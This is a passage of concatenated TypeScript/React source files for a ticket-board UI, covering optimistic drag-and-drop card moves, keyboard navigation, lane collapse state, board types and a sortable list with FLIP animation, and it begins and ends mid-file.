null\n}\n\n/**\n * `columns` with a move that has been reported but not yet answered already\n * applied — what the board renders between the drop and the host's new data.\n *\n * A drop cannot repaint the board from the host's data in the same frame it\n * happens: the host is told about the move through `onChange` and answers with\n * new `columns`, and no data layer worth using is synchronous about that —\n * react-query, for one, notifies its subscribers from a `setTimeout(0)`, which\n * is a whole macrotask (and therefore at least one paint) after the drop event.\n * Rendering the host's answer literally therefore means the card is still in its\n * old lane for that gap and arrives in the new one afterwards.\n *\n * Hiding the card across the gap was the previous answer, and it is why a drop\n * read as the ticket vanishing and reappearing somewhere else. Showing the move\n * immediately is the same optimistic update every board of this kind does, and\n * it makes the handover invisible: the host's answer, when it comes, describes\n * exactly the picture already on screen.\n *\n * Untouched columns keep their identity so the memoized lanes can skip the\n * render.\n */\nexport function applyPendingMove(columns: BoardColumnDef[], move: PendingMove): BoardColumnDef[] {\n  const ticket = columns.flatMap(column => column.tickets).find(t => t.id === move.ticketId)\n  if (!ticket || !columns.some(column => column.id === move.toColumnId)) return columns\n\n  return columns.map(column => {\n    const without = column.tickets.filter(t => t.id !== move.ticketId)\n    if (column.id !== move.toColumnId) {\n      return without.length === column.tickets.length ? column : { ...column, tickets: without }\n    }\n    return { ...column, tickets: insertAfter(without, ticket, move.afterTicketId) }\n  })\n}\n\nfunction insertAfter<T extends { id: string }>(tickets: T[], ticket: T, afterId: string | null): T[] {\n  if (afterId === null) return [ticket, ...tickets]\n  const after = tickets.findIndex(t => t.id === afterId)\n  // The card it was dropped after is gone — archived, or moved by someone else\n  // while this drag was in the air. The end of the lane is the honest answer,\n  // and the host's own reply overrides it a moment later anyway.\n  const at = after < 0 ? tickets.length : after + 1\n  return [...tickets.slice(0, at), ticket, ...tickets.slice(at)]\n}\n\n/**\n * The id of the card currently flying from the pointer into the slot it was\n * dropped in — hidden for exactly that long, because the drag preview is\n * covering it.\n *\n * Only the one card cares, which is why this is an id and not a flag on every\n * card.\n */\nexport const LandingCardContext = createContext<string | null>(null)\n\n/** True while this card is under the preview travelling into its slot. */\nexport function useIsLanding(ticketId: string): boolean {\n  return useContext(LandingCardContext) === ticketId\n}\n\n/**\n * Whether THIS move has reached `columns`, so the board can stop standing in for\n * the host and render its data plainly again.\n *\n * Two weaker tests were tried and both hand back too early, at which point the\n * board snaps to whatever the host currently says — the card jumping back to its\n * old lane for a frame:\n *\n * - The identity of the `columns` array. A host on react-query hands the board a\n *   fresh one whenever anything notifies — a cancelled refetch, a loading flag,\n *   a live update on an untouched lane.\n * - The card no longer sitting at its old index. Each lane here polls on its own\n *   timer and takes live updates, so a ticket arriving above this one shifts the\n *   index and reads as \"the move landed\" when nothing of the sort happened.\n *\n * A lane change and a reorder need different tests, though, and using the strict\n * one for both is what left a card to jump seconds after it landed:\n *\n * - **Across lanes**, arriving in the new lane IS the host applying the move.\n *   Which slot it ends up in is then the host's business — a server that sorts a\n *   lane its own way will not reproduce the dropped index, and holding out for\n *   one it will never send means showing a position that is quietly wrong until\n *   the timeout corrects it in a visible jump. The old lane has to have let go\n *   of the card as well: the two lanes are separate queries answering at their\n *   own pace, and standing aside in between would show the card in both.\n * - **Within one lane** the card is in that lane either way, so only the exact\n *   slot distinguishes \"applied\" from \"not yet\".\n *\n * Answering \"not yet\" for a move the host never applies is safe: the board gives\n * up on it after a timeout regardless, and the card returns to where the host\n * says it is — which is the correct thing to show once a move has failed.\n */\nexport function hasMoveSettled(columns: readonly BoardColumnDef[], move: PendingMove): boolean {\n  const tickets = columns.find(c => c.id === move.toColumnId)?.tickets\n  if (!tickets) return false\n  const index = tickets.findIndex(t => t.id === move.ticketId)\n  if (index < 0) return false\n  if (move.fromColumnId === move.toColumnId) {\n    return (tickets[index - 1]?.id ?? null) === move.afterTicketId\n  }\n  return !columns.find(c => c.id === move.fromColumnId)?.tickets.some(t => t.id === move.ticketId)\n}\n","'use client'\n\nimport * as React from 'react'\nimport { Skeleton } from '../../ui/skeleton'\nimport { cn } from '../../../utils/cn'\n\nexport interface TicketCardSkeletonProps extends React.HTMLAttributes<HTMLDivElement> {}\n\nexport const TicketCardSkeleton = React.forwardRef<HTMLDivElement, TicketCardSkeletonProps>(\n  ({ className, ...props }, ref) => (\n    <div\n      ref={ref}\n      className={cn(\n        'flex flex-col gap-[var(--spacing-system-sf)] rounded-md border border-ods-border bg-ods-bg p-[var(--spacing-system-sf)]',\n        className,\n      )}\n      {...props}\n    >\n      <div className=\"flex items-start gap-[var(--spacing-system-sf)]\">\n        <div className=\"flex min-w-0 flex-1 flex-col gap-[var(--spacing-system-xxs)]\">\n          <div className=\"text-h3 flex items-center\">\n            <Skeleton className=\"h-4 w-3/4\" />\n          </div>\n          <div className=\"text-h6 flex items-center gap-[var(--spacing-system-xxs)]\">\n            <Skeleton className=\"size-4 shrink-0 rounded-sm\" />\n            <Skeleton className=\"h-3 w-1/2\" />\n          </div>\n        </div>\n        <div className=\"flex shrink-0 items-center gap-[var(--spacing-system-xsf)]\">\n          <Skeleton className=\"size-4 rounded-sm\" />\n          <Skeleton className=\"size-8 rounded-full\" />\n        </div>\n      </div>\n      <div className=\"flex h-8 items-center gap-[var(--spacing-system-xxs)]\">\n        <Skeleton className=\"h-8 w-16 rounded-md\" />\n        <Skeleton className=\"h-8 w-12 rounded-md\" />\n      </div>\n    </div>\n  ),\n)\nTicketCardSkeleton.displayName = 'TicketCardSkeleton'\n","import { extractClosestEdge } from '@atlaskit/pragmatic-drag-and-drop-hitbox/closest-edge'\nimport type { BoardChange, BoardColumnDef } from './types'\n\n/**\n * Where a card being moved currently points: a lane, and a slot among the cards\n * ALREADY in it — the card being moved never counts as one of them.\n *\n * This is the board's ONE description of a landing place, and everything is\n * expressed in it: the pointer, the keyboard, the line that gets drawn and the\n * change that gets reported. An index cannot say the same thing two ways, which\n * matters more than it sounds — \"below card X\" and \"above card Y\" are the same\n * slot, and drawing a line for whichever one a hit test happened to return makes\n * it jump between two positions as the pointer crosses the boundary.\n */\nexport interface BoardAim {\n  columnId: string\n  /** Insertion index among the other cards, so `0..others.length`. */\n  index: number\n}\n\nexport type ArrowKey = 'ArrowUp' | 'ArrowDown' | 'ArrowLeft' | 'ArrowRight'\n\n/** Whether a lane will take this card — the board's own rules, passed in so this\n *  module stays arithmetic. */\ntype LaneFilter = (column: BoardColumnDef) => boolean\n\nconst othersIn = (columns: readonly BoardColumnDef[], columnId: string, ticketId: string) =>\n  (columns.find(c => c.id === columnId)?.tickets ?? []).filter(t => t.id !== ticketId)\n\n/** The lane a card is in right now, or `null` if it is in none of them. */\nexport function laneOf(columns: readonly BoardColumnDef[], ticketId: string): BoardColumnDef | null {\n  return columns.find(c => c.tickets.some(t => t.id === ticketId)) ?? null\n}\n\n/** Where a card starts: exactly where it already sits. */\nexport function initialAim(columns: readonly BoardColumnDef[], ticketId: string): BoardAim | null {\n  const lane = laneOf(columns, ticketId)\n  if (!lane) return null\n  // Its index among the others is its own index: dropping it back at that slot\n  // puts it exactly where it came from.\n  return { columnId: lane.id, index: lane.tickets.findIndex(t => t.id === ticketId) }\n}\n\n/**\n * The aim after one arrow key, or the aim unchanged when the move would leave\n * the board or land in a lane that will not take the card.\n *\n * Up and down step through slots; left and right step through lanes, skipping\n * any the card is not allowed into rather than stopping dead at it — a lane the\n * user cannot use should cost a keypress, not end the journey.\n */\n/**\n * The slot a resolved drop target points at.\n *\n * Card targets carry the edge the pointer is nearest; a lane target means \"past\n * the last card\". Either way the answer comes out as an index, so the caller\n * never has to care which kind of target replied.\n */\nexport function aimFromTarget(\n  columns: readonly BoardColumnDef[],\n  ticketId: string,\n  target: Record<string | symbol, unknown>,\n): BoardAim | null {\n  const columnId = String(target.columnId)\n  if (!columns.some(c => c.id === columnId)) return null\n  const others = othersIn(columns, columnId, ticketId)\n  if (target.type !== 'ticket') return { columnId, index: others.length }\n  const over = others.findIndex(t => t.id === String(target.ticketId))\n  if (over < 0) return { columnId, index: others.length }\n  return { columnId, index: over + (extractClosestEdge(target) === 'bottom' ? 1 : 0) }\n}\n\nexport function moveAim(\n  columns: readonly BoardColumnDef[],\n  ticketId: string,\n  aim: BoardAim,\n  key: ArrowKey,\n  accepts: LaneFilter,\n): BoardAim {\n  if (key === 'ArrowUp' || key === 'ArrowDown') {\n    const limit = othersIn(columns, aim.columnId, ticketId).length\n    const index = Math.min(Math.max(aim.index + (key === 'ArrowUp' ? -1 : 1), 0), limit)\n    return index === aim.index ? aim : { ...aim, index }\n  }\n\n  const step = key === 'ArrowLeft' ? -1 : 1\n  const from = columns.findIndex(c => c.id === aim.columnId)\n  for (let i = from + step; i >= 0 && i < columns.length; i += step) {\n    const column = columns[i]\n    if (!accepts(column)) continue\n    // Keep the slot the card had, as far as the new lane allows.\n    const limit = othersIn(columns, column.id, ticketId).length\n    return { columnId: column.id, index: Math.min(aim.index, limit) }\n  }\n  return aim\n}\n\n/** The card the preview hangs off, and which side of it — `null` for a lane with\n *  nothing else in it. */\nexport function aimAnchor(\n  columns: readonly BoardColumnDef[],\n  ticketId: string,\n  aim: BoardAim,\n): { ticketId: string | null; edge: 'top' | 'bottom' | null } {\n  const others = othersIn(columns, aim.columnId, ticketId)\n  if (others.length === 0) return { ticketId: null, edge: null }\n  if (aim.index < others.length) return { ticketId: others[aim.index].id, edge: 'top' }\n  return { ticketId: others[others.length - 1].id, edge: 'bottom' }\n}\n\n/**\n * The move to report, or `null` when the card would land back where it started.\n *\n * Same rule as a pointer drop, and deliberately so: a keyboard move that ends\n * where it began must be as silent as a card picked up and put down again.\n */\nexport function aimToChange(columns: readonly BoardColumnDef[], ticketId: string, aim: BoardAim): BoardChange | null {\n  const lane = laneOf(columns, ticketId)\n  if (!lane) return null\n\n  const others = othersIn(columns, aim.columnId, ticketId)\n  const afterTicketId = others[aim.index - 1]?.id ?? null\n  const beforeTicketId = others[aim.index]?.id ?? null\n\n  if (lane.id === aim.columnId) {\n    const currentIndex = lane.tickets.findIndex(t => t.id === ticketId)\n    if ((lane.tickets[currentIndex - 1]?.id ?? null) === afterTicketId) return null\n  }\n\n  return { ticketId, fromColumnId: lane.id, toColumnId: aim.columnId, afterTicketId, beforeTicketId }\n}\n","import { aimFromTarget, aimToChange } from './aim'\nimport type { BoardChange, BoardColumnDef } from './types'\n\n/** What a drop carries: the card that moved, and what it was dropped onto. */\ninterface DropInput {\n  /** `getInitialData` from the dragged card. */\n  source: Record<string | symbol, unknown>\n  /** The innermost drop target under the pointer — a card, or a lane. */\n  target: Record<string | symbol, unknown> | undefined\n}\n\n/**\n * Turns a drop into the move to report, or `null` when nothing moved.\n *\n * Both steps live in `aim.ts`, shared with the keyboard and with the line drawn\n * during the drag: the target becomes a slot, the slot becomes a change. Having\n * the drop work it out separately is how a board ends up drawing a line in one\n * place and committing a move to another.\n */\nexport function resolveBoardDrop(\n  columns: readonly BoardColumnDef[],\n  { source, target }: DropInput,\n): BoardChange | null {\n  if (!target) return null\n  const ticketId = String(source.ticketId)\n  const aim = aimFromTarget(columns, ticketId, target)\n  return aim && aimToChange(columns, ticketId, aim)\n}\n","'use client'\n\nimport { useCallback, useRef, useState } from 'react'\nimport { useLocalStorage } from '../../../hooks/ui/use-local-storage'\n\nexport type BoardCollapseMap = Record<string, boolean>\n\nexport interface UseBoardCollapseReturn {\n  collapsed: BoardCollapseMap\n  toggle: (columnId: string) => void\n  setCollapsed: (columnId: string, value: boolean) => void\n}\n\nexport function useBoardCollapse(storageKey?: string): UseBoardCollapseReturn {\n  const [persisted, setPersisted] = useLocalStorage<BoardCollapseMap>(\n    storageKey ?? '__board_collapse_unused__',\n    {},\n  )\n  const [memory, setMemory] = useState<BoardCollapseMap>({})\n\n  const collapsed = storageKey ? persisted : memory\n  const setMap = storageKey ? setPersisted : setMemory\n\n  // Both callbacks keep one identity for the hook's lifetime. `useLocalStorage`\n  // returns an unmemoized setter, so depending on it directly hands the board a\n  // new `toggle` on every render — and a board that memoizes its columns then\n  // re-renders all of them on every drag frame, which is the one thing the memo\n  // is there to prevent. The ref keeps the latest setter without the identity.\n  const setMapRef = useRef(setMap)\n  setMapRef.current = setMap\n\n  const toggle = useCallback((columnId: string) => {\n    setMapRef.current(prev => ({ ...prev, [columnId]: !prev[columnId] }))\n  }, [])\n\n  const setCollapsed = useCallback((columnId: string, value: boolean) => {\n    setMapRef.current(prev => ({ ...prev, [columnId]: value }))\n  }, [])\n\n  return { collapsed, toggle, setCollapsed }\n}\n","import type { PendingToolCallData } from '../../chat/types'\nimport type { TicketStatus } from '../../ui/ticket-status-tag'\n\nexport type BoardPriority = 'low' | 'medium' | 'high' | 'urgent'\n\n/** Latest pending tool-approval request attached to a board ticket (from `Ticket.pendingApproval`). */\nexport interface BoardTicketPendingApproval {\n  id: string\n  approvalType?: string\n  command?: string\n  explanation?: string\n  createdAt?: string\n  toolCalls?: PendingToolCallData[]\n}\n\nexport interface BoardTicketAssignee {\n  id: string\n  initials?: string\n  avatarUrl?: string\n  name?: string\n  /** Deleted account (DELETED / SELF_DELETED) — renders the red user-x placeholder instead of the avatar. */\n  deleted?: boolean\n}\n\n/**\n * Live-activity footer indicator on a board card. Indicators are mutually\n * exclusive by design — the consumer decides which single one a ticket shows\n * (staleness has the lowest priority and must be suppressed when any other\n * signal — new message, approval, escalation — is present).\n */\nexport type BoardTicketActivityKind = 'ai-working' | 'user-typing' | 'waiting-external' | 'stale'\n\nexport interface BoardTicketActivity {\n  kind: BoardTicketActivityKind\n  /**\n   * Overrides the built-in label for the kind. Required in practice for\n   * 'stale', whose label carries the computed duration (\"No activity for\n   * 2 hours\") that only the consumer can know — and tick over time.\n   */\n  label?: string\n}\n\nexport interface BoardTicket {\n  id: string\n  title: string\n  ticketNumber: string\n  status: string\n\n  deviceHostnames?: string[]\n  organizationName?: string\n  priority?: BoardPriority\n  assignees?: BoardTicketAssignee[]\n  tags?: string[]\n  createdAt?: string\n  hasNewMessage?: boolean\n  pendingApproval?: BoardTicketPendingApproval\n  /**\n   * The client asked for a human and confirmed the handoff, so this ticket\n   * reached its lane by escalation rather than an inactivity auto-escalation or\n   * an admin takeover. Called out on the card because it changes how urgently a\n   * technician should pick it up.\n   */\n  escalatedByUser?: boolean\n  /** Single live-activity indicator rendered as the card's footer row. */\n  activity?: BoardTicketActivity\n}\n\nexport interface BoardColumnDef {\n  id: string\n  /**\n   * Canonical status key for header styling (e.g. 'ACTIVE', 'RESOLVED'), when the\n   * column `id` is not itself a known status (e.g. a custom-status UUID). The\n   * header resolves its TicketStatusTag variant/icon from this, falling back to\n   * `id`. Leave undefined for custom statuses so they render from `color`.\n   */\n  statusKey?: string\n  label: string\n  color: string\n  /**\n   * What this column's status means, shown from an info icon in the header\n   * (e.g. the system-status descriptions from the status settings page). No\n   * icon is rendered when absent.\n   */\n  tooltip?: string\n  tickets: BoardTicket[]\n\n  total?: number\n  hasMore?: boolean\n  isLoading?: boolean\n  isLoadingMore?: boolean\n\n  system?: boolean\n  dropDisabled?: boolean\n  dragDisabled?: boolean\n  allowedFromColumns?: string[]\n  archivable?: boolean\n}\n\nexport interface BoardChange {\n  ticketId: string\n  fromColumnId: string\n  toColumnId: string\n  afterTicketId: string | null\n  beforeTicketId: string | null\n}\n\nconst STATUS_DEFAULTS: Record<TicketStatus, { label: string; color: string }> = {\n  ACTIVE: { label: 'Active', color: '#5ea62e' },\n  AI_ASSISTANCE: { label: 'AI Handling', color: '#888888' },\n  TECH_REQUIRED: { label: 'Tech Required', color: '#e1b32f' },\n  ON_HOLD: { label: 'On Hold', color: '#f36666' },\n  RESOLVED: { label: 'Resolved', color: '#888888' },\n  ARCHIVED: { label: 'Archived', color: '#3a3a3a' },\n}\n\nexport function columnFromTicketStatus(\n  status: TicketStatus,\n  tickets: BoardTicket[],\n  overrides: Partial<Omit<BoardColumnDef, 'id' | 'tickets'>> = {},\n): BoardColumnDef {\n  const defaults = STATUS_DEFAULTS[status]\n  return {\n    id: status,\n    label: overrides.label ?? defaults.label,\n    color: overrides.color ?? defaults.color,\n    tooltip: overrides.tooltip,\n    tickets,\n    total: overrides.total,\n    hasMore: overrides.hasMore,\n    isLoading: overrides.isLoading,\n    isLoadingMore: overrides.isLoadingMore,\n    system: overrides.system,\n    dropDisabled: overrides.dropDisabled,\n    dragDisabled: overrides.dragDisabled,\n    allowedFromColumns: overrides.allowedFromColumns,\n    archivable: overrides.archivable,\n  }\n}\n\nexport function groupTicketsByStatus(\n  tickets: BoardTicket[],\n  statuses: TicketStatus[],\n): BoardColumnDef[] {\n  const buckets: Record<TicketStatus, BoardTicket[]> = {\n    ACTIVE: [],\n    AI_ASSISTANCE: [],\n    TECH_REQUIRED: [],\n    ON_HOLD: [],\n    RESOLVED: [],\n    ARCHIVED: [],\n  }\n  for (const t of tickets) {\n    const canonical = canonicalize(t.status)\n    if (canonical) buckets[canonical].push(t)\n  }\n  return statuses.map(s => columnFromTicketStatus(s, buckets[s]))\n}\n\nfunction canonicalize(status: string): TicketStatus | null {\n  const upper = status.toUpperCase().replace(/\\s+/g, '_')\n  if (upper === 'ACTION_REQUIRED') return 'TECH_REQUIRED'\n  if (\n    upper === 'ACTIVE' ||\n    upper === 'AI_ASSISTANCE' ||\n    upper === 'TECH_REQUIRED' ||\n    upper === 'ON_HOLD' ||\n    upper === 'RESOLVED' ||\n    upper === 'ARCHIVED'\n  ) {\n    return upper\n  }\n  return null\n}\n","/**\n * The arithmetic behind a vertical sortable list: where a dragged item would\n * come to rest at each index, which of those places it is currently nearest to,\n * and how far that pushes everything else.\n *\n * Pure on purpose. The DOM is read exactly once, when the drag starts, and\n * everything after that is numbers — so the rules can be unit-tested instead of\n * discovered in a browser, and a card moving out of the way can never change the\n * answer that moved it and start an oscillation.\n */\n\n/**\n * Share of one slot's travel that the slot an item already holds keeps as a\n * handicap.\n *\n * Without it an item ends up sitting exactly ON a boundary the instant it\n * crosses one: leaving a slot costs half an item of dragging and coming back\n * costs a pixel, which reads as the list changing its mind about the rules. The\n * handicap turns that into a dead band, so both cost the same movement — and a\n * boundary just crossed cannot be re-crossed by jitter, or by the hand simply\n * stopping.\n */\nexport const SLOT_STICKINESS = 0.25\n\nexport interface DragSlots {\n  /** Every item's top edge, before anything moved, measured from the list's own\n   *  top rather than the viewport or the document — so a scroll during the drag\n   *  (the page, the layout's `<main>`, any ancestor) leaves them all valid. */\n  tops: number[]\n  /** Every item's bottom edge, same frame of reference. */\n  bottoms: number[]\n  /** The dragged item's own height. */\n  height: number\n  /** The index the drag started from. */\n  from: number\n  /** How far a displaced item travels: the dragged item's height + the row gap. */\n  step: number\n}\n\n/**\n * Reads the list once, at drag start. The only DOM access in this module.\n *\n * `origin` is the list's own top edge in viewport coordinates; everything is\n * stored relative to it, so auto-scrolling an ancestor mid-drag moves the list\n * and the pointer together and none of this goes stale.\n */\nexport function measureSlots(items: readonly HTMLElement[], from: number, gap: number, origin: number): DragSlots {\n  const rects = items.map(item => item.getBoundingClientRect())\n  return {\n    tops: rects.map(rect => rect.top - origin),\n    bottoms: rects.map(rect => rect.bottom - origin),\n    height: rects[from].height,\n    from,\n    step: rects[from].height + gap,\n  }\n}\n\n/**\n * Where the dragged item's centre ends up if it is dropped at `index`.\n *\n * At or above its own index it takes over that item's top edge; below it, it\n * backs up against that item's bottom edge. With items of one height those are\n * the same point; with mixed heights they are not, and it is the resting place\n * the user is aiming at — not the neighbour's centre.\n */\nfunction restingCentre(slots: DragSlots, index: number): number {\n  return index <= slots.from ? slots.tops[index] + slots.height / 2 : slots.bottoms[index] - slots.height / 2\n}\n\n/**\n * The slot the dragged item is now nearest to landing in, given the one it\n * currently holds and how far it has been dragged.\n *\n * Nearest — not \"has crossed\" — is what dnd-kit sorted by, and it is why the\n * list opens up when it does: nearest flips at the midpoint between two slots,\n * so half an item of travel is enough, where waiting for the item to cross a\n * neighbour outright takes twice as long and reads as late.\n */\nexport function resolveSlot(slots: DragSlots, held: number, offset: number): number {\n  const centre = slots.tops[slots.from] + slots.height / 2 + offset\n  let best = Math.abs(centre - restingCentre(slots, held)) - slots.step * SLOT_STICKINESS\n  let next = held\n  for (let index = 0; index < slots.tops.length; index++) {\n    if (index === held) continue\n    const distance = Math.abs(centre - restingCentre(slots, index))\n    if (distance < best) {\n      best = distance\n      next = index\n    }\n  }\n  return next\n}\n\n/** How far the item at `index` has to stand aside while the drop is aimed at `to`. */\nexport function shiftFor(slots: DragSlots, index: number, to: number): number {\n  if (index === slots.from) return 0\n  if (index > slots.from && index <= to) return -slots.step\n  if (index < slots.from && index >= to) return slots.step\n  return 0\n}\n","'use client'\n\nimport { combine } from '@atlaskit/pragmatic-drag-and-drop/combine'\nimport { dropTargetForElements, monitorForElements } from '@atlaskit/pragmatic-drag-and-drop/element/adapter'\nimport { preventUnhandled } from '@atlaskit/pragmatic-drag-and-drop/utils/prevent-unhandled'\nimport {\n  createContext,\n  type ReactNode,\n  useCallback,\n  useContext,\n  useEffect,\n  useId,\n  useMemo,\n  useRef,\n  useState,\n} from 'react'\nimport { useIsomorphicLayoutEffect } from '../../../hooks/ui/use-isomorphic-layout-effect'\nimport { autoScrollAncestors, autoScrollBothWays } from '../../../utils/auto-scroll-ancestors'\nimport { type DragSlots, measureSlots, resolveSlot, shiftFor } from './slot-geometry'\n\n/** Marks the elements the list reorders. Set by `useSortableItem`, never by hand. */\nexport const SORTABLE_ITEM_ATTRIBUTE = 'data-sortable-item'\n\n/** How long a displaced item takes to slide into the slot it is giving up. */\nconst SHIFT_MS = 200\n/** How long the dropped item takes to travel from the pointer into its slot. */\nconst DROP_MS = 150\nconst EASING = 'cubic-bezier(0.2, 0, 0, 1)'\n\ninterface SortableListContextValue {\n  /** Distinguishes this list's drags from any other list's on the page. */\n  dragType: string\n  disabled: boolean\n  /** Reorders the list. Used by the drop AND by a handle's arrow keys. */\n  reorder: (from: number, to: number) => void\n  /** Every registered item, in DOM order. */\n  readItems: () => HTMLElement[]\n}\n\nconst SortableListContext = createContext<SortableListContextValue | null>(null)\n\nexport function useSortableListContext(): SortableListContextValue {\n  const context = useContext(SortableListContext)\n  if (!context) throw new Error('useSortableItem must be used inside a <SortableList>')\n  return context\n}\n\nexport interface SortableListProps {\n  /** Called once, on drop or on an arrow key — never mid-drag. */\n  onReorder: (from: number, to: number) => void\n  /**\n   * Names an item for the live region, e.g. `index => scripts[index].name`.\n   * Without it a move is announced as \"Item moved to position 2 of 5\".\n   */\n  getItemLabel?: (index: number) => string | undefined\n  disabled?: boolean\n  className?: string\n  children: ReactNode\n}\n\n/**\n * A vertical list whose items can be reordered by dragging a handle.\n *\n * **The drag moves nothing but transforms.** The item being dragged keeps its\n * slot and is translated to follow the pointer; the items it passes are\n * translated by exactly its height plus the row gap, into the slot it vacated.\n * The list's layout — and so the height of the page around it — is therefore\n * identical from the first frame of the drag to the last, which is what makes\n * the slide safe to animate. Opening and closing real space instead (margins,\n * `display: none`) cannot be: interrupt one of those transitions by moving the\n * pointer, or reorder the DOM on drop, and the two ends run at different rates\n * and the page jumps.\n *\n * The native drag image is switched off — the browser draws it washed out and\n * offers no way to style it — so what follows the pointer is the real item, at\n * full opacity, styled by the consumer off `isDragging`.\n *\n * Deliberately NOT what the ticket board does: a board moves cards between\n * columns and its cards are drop targets in their own right. Here the answer is\n * geometry over a single column, which is why it fits in one small module. The\n * rules it sorts by live in `slot-geometry.ts`.\n */\nexport function SortableList({ onReorder, getItemLabel, disabled = false, className, children }: SortableListProps) {\n  const listRef = useRef<HTMLDivElement>(null)\n  // Stable across renders and never rendered, so there is no hydration to\n  // mismatch — unlike keying a drag on a random per-item id.\n  const dragType = useId()\n  const [announcement, setAnnouncement] = useState('')\n\n  const onReorderRef = useRef(onReorder)\n  onReorderRef.current = onReorder\n  const getItemLabelRef = useRef(getItemLabel)\n  getItemLabelRef.current = getItemLabel\n\n  // Where every item sat on screen the instant the drop happened — the \"First\"\n  // of the FLIP played once the reorder has committed.\n  const flipFrom = useRef<Array<readonly [HTMLElement, number]> | null>(null)\n  const [flipTick, setFlipTick] = useState(0)\n  const flipTimer = useRef<ReturnType<typeof setTimeout> | null>(null)\n\n  const readItems = useCallback(\n    () => [...(listRef.current?.querySelectorAll<HTMLElement>(`[${SORTABLE_ITEM_ATTRIBUTE}]`) ?? [])],\n    [],\n  )\n\n  /** The one way this list ever changes: say what happened, then do it. */\n  const reorder = useCallback(\n    (from: number, to: number) => {\n      if (from === to) return\n      const label = getItemLabelRef.current?.(from) ?? 'Item'\n      setAnnouncement(`${label} moved to position ${to + 1} of ${readItems().length}.`)\n      onReorderRef.current(from, to)\n    },\n    [readItems],\n  )\n\n  useEffect(() => {\n    const list = listRef.current\n    if (!list) return\n\n    /** Alive for one drag; this effect body is its whole scope. */\n    let drag: (DragSlots & { items: HTMLElement[]; to: number; startY: number }) | null = null\n\n    return combine(\n      // Dragging towards the edge of the screen — or past it — scrolls whatever\n      // actually scrolls there: the page, the layout's `<main>`, or the list\n      // itself when it has its own overflow.\n      autoScrollAncestors(list),\n      autoScrollBothWays(list),\n      // One target for the whole list: which slot a drop lands in is answered by\n      // geometry, so this only has to say \"inside the list, or outside it\".\n      dropTargetForElements({\n        element: list,\n        canDrop: ({ source }) => source.data.type === dragType,\n      }),\n      monitorForElements({\n        canMonitor: ({ source }) => source.data.type === dragType,\n\n        onDragStart: ({ source, location }) => {\n          // Only the list is a drop target, so a drag carried anywhere else on\n          // the page has none — and a native drag with no target under it falls\n          // back to the browser's own drop effect, which is `copy` and draws the\n          // green plus cursor. This holds it at `move` for the whole drag.\n          preventUnhandled.start()\n          const items = readItems()\n          const from = items.indexOf(source.element as HTMLElement)\n          if (from < 0) return\n          const gap = Number.parseFloat(getComputedStyle(list).rowGap) || 0\n          // The list's own top is the frame of reference for the whole drag, so\n          // that auto-scrolling under the pointer changes nothing but the origin.\n          const origin = list.getBoundingClientRect().top\n          drag = {\n            ...measureSlots(items, from, gap, origin),\n            items,\n            to: from,\n            startY: location.current.input.clientY - origin,\n          }\n        },\n\n        onDrag: ({ location }) => {\n          const current = drag\n          if (!current) return\n          // Re-read the origin every frame: auto-scroll moves the list under a\n          // pointer that has not moved, and the item has to keep up with it.\n          const offset = location.current.input.clientY - list.getBoundingClientRect().top - current.startY\n\n          // Vertical only, the way `restrictToVerticalAxis` pinned it, and with\n          // no transition: this one tracks the pointer exactly.\n          const dragged = current.items[current.from]\n          dragged.style.transition = 'none'\n          dragged.style.transform = `translateY(${offset}px)`\n\n          const to = resolveSlot(current, current.to, offset)\n          // Re-applying an unchanged shift would restart its transition every\n          // frame, so the items would creep instead of sliding.\n          if (to === current.to) return\n          current.to = to\n\n          current.items.forEach((item, index) => {\n            if (index === current.from) return\n            const shift = shiftFor(current, index, to)\n            item.style.transition = `transform ${SHIFT_MS}ms ${EASING}`\n            item.style.transform = shift ? `translateY(${shift}px)` : ''\n          })\n        },\n\n        onDrop: ({ location }) => {\n          preventUnhandled.stop()\n          const finished = drag\n          drag = null\n          if (!finished) return\n\n          // Read where everything IS, transforms and all, before letting go of\n          // them — this is what the drop animation plays back from.\n          flipFrom.current = finished.items.map(item => [item, item.getBoundingClientRect().top] as const)\n          if (flipTimer.current) clearTimeout(flipTimer.current)\n          for (const item of finished.items) {\n            item.style.transition = 'none'\n            item.style.transform = ''\n          }\n\n          // Empty means released outside the list, or cancelled with Escape —\n          // the item still has to travel back to its own slot, so the animation\n          // is scheduled either way.\n          const cancelled = location.current.dropTargets.length === 0\n          setFlipTick(tick => tick + 1)\n          if (!cancelled) reorder(finished.from, finished.to)\n        },\n      }),\n    )\n  }, [dragType, readItems, reorder])\n\n  // Runs after the commit that carries BOTH the reorder and the tick above, so\n  // the DOM is already in its final order — which is why `onReorder` never has\n  // to wait for an animation. Every item that ended up somewhere other than\n  // where it looked is put back there and released; the items that stood aside\n  // during the drag are already in place and come out with a delta of zero, so\n  // this animates the dropped item and nothing else.\n  useIsomorphicLayoutEffect(() => {\n    const from = flipFrom.current\n    flipFrom.current = null\n    if (!from) return\n\n    const moving: HTMLElement[] = []\n    for (const [item, top] of from) {\n      const delta = top - item.getBoundingClientRect().top\n      if (!delta) continue\n      item.style.transition = 'none'\n      item.style.transform = `translateY(${delta}px)`\n      moving.push(item)\n    }\n    if (moving.length === 0) return\n\n    // One forced reflow, so the browser takes the inverted position as the\n    // animation's starting point instead of coalescing it away unseen.\n    void listRef.current?.offsetHeight\n\n    for (const item of moving) {\n      item.style.transition = `transform ${DROP_MS}ms ${EASING}`\n      item.style.transform = ''\n    }\n    flipTimer.current = setTimeout(() => {\n      for (const item of moving) item.style.transition = ''\n    }, DROP_MS)\n  }, [flipTick])\n\n  useEffect(\n    () => () => {\n      if (flipTimer.current) clearTimeout(flipTimer.current)\n    },\n    [],\n  )\n\n  const context = useMemo<SortableListContextValue>(\n    () => ({ dragType, disabled, reorder, readItems }),\n    [dragType, disabled, reorder, readItems],\n  )\n\n  return (\n    <SortableListContext.Provider value={context}>\n      <div ref={listRef} className={className}>\n        {children}\n        {/* Absolutely positioned, so it is not a flex item and adds no gap. */}\n        <p aria-live=\"polite\" className=\"sr-only\">\n          {announcement}\n        </p>\n      </div>\n    </SortableListContext.Provider>\n  )\n}\n","'use client'\n\nimport { combine } from '@atlaskit/pragmatic-drag-and-drop/combine'\nimport { draggable } from '@atlaskit/pragmatic-drag-and-drop/element/adapter'\nimport { disableNativeDragPreview } from '@atlaskit/pragmatic-drag-and-drop/element/disable-native-drag-preview'\nimport { type KeyboardEvent, useCallback, useEffect, useState } from 'react'\nimport { holdMoveDragEffect } from '../../../utils/drag-effect'\nimport { SORTABLE_ITEM_ATTRIBUTE, useSortableListContext } from './sortable-list'\n\nexport interface SortableItem {\n  /** Goes on the item's root element — the thing that moves. */\n  itemRef: (node: HTMLElement | 